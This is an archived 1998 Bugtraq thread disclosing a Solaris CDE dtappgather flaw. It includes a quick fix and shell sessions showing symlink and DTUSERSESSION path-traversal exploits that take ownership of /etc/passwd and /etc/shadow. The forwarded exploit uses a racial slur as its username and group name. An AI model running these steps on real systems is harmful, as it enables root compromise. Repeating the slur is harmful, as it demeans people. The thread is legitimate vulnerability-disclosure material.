Solaris /usr/dt/bin/dtappgather symlink problem.

Date: Mon, 23 Feb 1998 15:31:16 +0200
From: Mastoras <mastoras@PAPARI.HACK.GR>
To: BUGTRAQ@NETSPACE.ORG
Subject: /usr/dt/bin/dtappgather exploit

Buggy program:
        /usr/dt/bin/dtappgather

Description of the problem:
        Local users can change the ownership of any file, thus gaining
root priviledges. This happens because "dtappgather" does not check if the
file /var/dt/appconfig/appmanager/generic-display-0 is a symbolic link and
happily chown()s it to the user. When CERT released advisory CA-98.02
about /usr/dt/bin/dtappgather, I played a little with dtappgather and
discovered the problem above, but I thought that patch 104498-02 corrects it,
as described in SUN's section of 98.02. When I applied the patch, I
realised that it was still possible to gain root privs.

Systems Affected:
        *At least* SunOS 5.5 & 5.5.1 running CDE version 1.0.2 with suid
bit on /usr/dt/bin/dtappgather. SunOS 5.6 (or CDE 1.2) comes with
directory /var/dt/appconfig/appmanager/ mode 755 so it's not possible to
make the necessary link. On the other hand, in SunOS 5.5* this dir has
mode 777, so you can easily make the link or even unlink/rename the file
"generic-display-0" if exists owned by another user.

Quick Fix:
        chmod -s /usr/dt/bin/dtappgather

The Exploit:
        The forwarded exploit was initially posted to hack.gr's security
mailing list: "haxor".


Hack wisely,
Mastoras

        /*
         *  Computer Engineering & Informatics Department, Patras, Greece
         *  Mastor Wins, Fatality!      http://www.hack.gr/users/mastoras
         */

---------- Forwarded message ----------
Date: Sat, 24 Jan 1998 02:48:13 +0200 (EET)
From: Mastoras <mastoras@papari.hack.gr>
To: haxor@papari.hack.gr, Undisclosed recipients:  ;
Subject: [HAXOR:11] dtappgather exploit

Hello,

        I suppose you have learnt about CERT's advisory on dtappgather
program. Well, here's the exploit:

nigg0r@host% ls -l /etc/passwd
-r--r--r--   1 root     other        1585 Dec 17 22:26 /etc/passwd
nigg0r@host% ln -s /etc/passwd /var/dt/appconfig/appmanager/generic-display-0
nigg0r@host% dtappgather
MakeDirectory: /var/dt/appconfig/appmanager/generic-display-0: File exists
nigg0r@host% ls -l /etc/passwd
-r-xr-xr-x   1 nigg0r   niggers      1585 Dec 17 22:26 /etc/passwd
nigg0r@host% echo "nigg0r wins! Fatality!" | mail root

        it would be easy to find the exploit if you had read CERT's advisory.
the following steps were enough..

% cp /usr/dt/bin/dtappgather .          [you can't "truss" suid proggies]
% truss -o koko ./dtappgather
% more koko
[ shity ld things ]
chown("/var/dt/appconfig/appmanager/generic-display-0", 666, 666) = 0
chmod("/var/dt/appconfig/appmanager/generic-display-0", 0555) = 0
[ shitty things ]

        I hope this was not too lame or well-known :-)


Seeya,
mastoras

From spd@GTC1.CPS.UNIZAR.ES Wed May 13 01:20:27 1998 Date: Tue, 24 Feb 1998 20:30:20 +0100
From: "J.A. Gutierrez" <spd@GTC1.CPS.UNIZAR.ES> To: BUGTRAQ@NETSPACE.ORG
Subject: Re: /usr/dt/bin/dtappgather exploit

>
> I suppose you have learnt about CERT's advisory on dtappgather > program. Well, here's the exploit:
>
> nigg0r@host% ls -l /etc/passwd
> -r--r--r-- 1 root other 1585 Dec 17 22:26 /etc/passwd > nigg0r@host% ln -s /etc/passwd /var/dt/appconfig/appmanager/generic-display-0 > nigg0r@host% dtappgather

the exploit is much simpler than that.

hey, it's even documented on the man page :-)

Simply

$ id
uid=6969(foo) gid=666(bar)
$ ls -l /etc/shadow
-r-------- 1 root sys 234 Nov 7 1999 /etc/shadow $ env DTUSERSESSION=../../../../../../../etc/shadow dtappgather $ ls -l /etc/shadow
-r-xr-xr-x 1 foo bar 234 Nov 7 1999 /etc/shadow

Anyway, your exploit has an advantage: it works (at least, in solaris 2.5), even after patching CDE according to CERT advisory.
Solaris 2.6 seems to have the right permisions:

            /var/dt -> rwxr-xr-x
            /var/dt/appconfig -> rwxr-xr-x
            /var/dt/tmp -> rwxrwxrwt

--

    J.A. Gutierrez                                   So be easy and free
                                            when you're drinking with me
                                      I'm a man you don't meet every day
 finger me for PGP                                          (the pogues)